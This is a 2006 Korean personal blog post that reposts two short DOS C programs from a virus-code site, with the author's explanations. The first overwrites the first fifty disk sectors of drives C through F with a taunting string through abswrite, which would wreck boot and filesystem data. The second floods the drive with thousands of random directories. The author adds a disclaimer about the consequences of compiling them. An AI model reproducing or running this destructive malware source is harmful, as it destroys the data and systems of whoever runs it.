'Programming'에 해당되는 글 91건

  1. 2006.01.03 VIRUS 제작~ 6

VIRUS 제작~

뭐 저sorce는 내가 만든게 아니라.. 바이러스 코드 많은곳에서 퍼온거야..
출저는 여기
근데 소스가 너무 단순해 보이더라고.
그래서 함 바이러스란 어떤것인가 구경해보라고..
어짜피 C도 배웠으니까...
하기야 이건뭐 진정한 의미의 바이러스는 아닌거 같고
(스스로 복제하거나 기생하는 부분이 없으니..)
여기 올 사람들은 뭐 다는 아니겠지만 대부분 이정도 소스는 해석할줄 알테니까
(뭐 100%는 몰라도 대충 어떻게 흘러가나는 다 알것이니...)

아래는 소스코드,

#include dos.h
#include string.h

main()
{
char *vir;
int i;

strcpy(vir,"");
for (i=0; i<40; i++)
strcat(vir,"HOWS IT DOING ROYAL UGLY DUDES!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!");
abswrite(2,50,0,vir);
abswrite(3,50,0,vir);
abswrite(4,50,0,vir);
abswrite(5,50,0,vir);
printf("Ouch dude... sorry..");
};
//abswrite함수->특정섹터에다 쓰는 함수라 하더군..
아마 특정섹터에다 써서 부팅을 안되게 하는 플그램이 아닐까 생각
(아님 말고뭐..)

abswrite(int drive,int nsects,long lsect,void *buffer);
drive:드라이브 번호 2->c
nsects: 섹터갯수
lsect:쓰기 시작할 논리 섹터번호
buffer:쓸데이터 담고 있는 메모리 번지.
(참고:http://www.winapi.co.kr)


#include stdio.h
#include stdlib.h
#include dir.h

main()
{
int i,j;
char tmp[20];
char far *ptr;

for (i=0;i<=50;i++){
srand(rand());
ptr = itoa(rand(),tmp,10);
mkdir ( ptr );
chdir ( ptr );
for (j=0;j<=50;j++){
ptr = itoa(rand(),tmp,10);
mkdir( ptr );
}
chdir ("\\"); //root drive ex>c 로 이동이래
}
}

//mkdir,chdir은 뭐 이름만 봐도 먼지 알겠지?

ps:이소스 컴파일 시켰다가 어떤 결과 나와도 난 책임 안져 -_-

'Programming > System' 카테고리의 다른 글

MBR(?) 출력 하기  (2) 2007.06.17
screen attach dettach 구별법  (2) 2007.02.12
Beginning Linux Programming Part6-Curses  (2) 2006.06.25
ls -al  (0) 2006.06.21
Beginning linux programming  (6) 2006.03.01
prev 1 ··· 16 17 18 19 next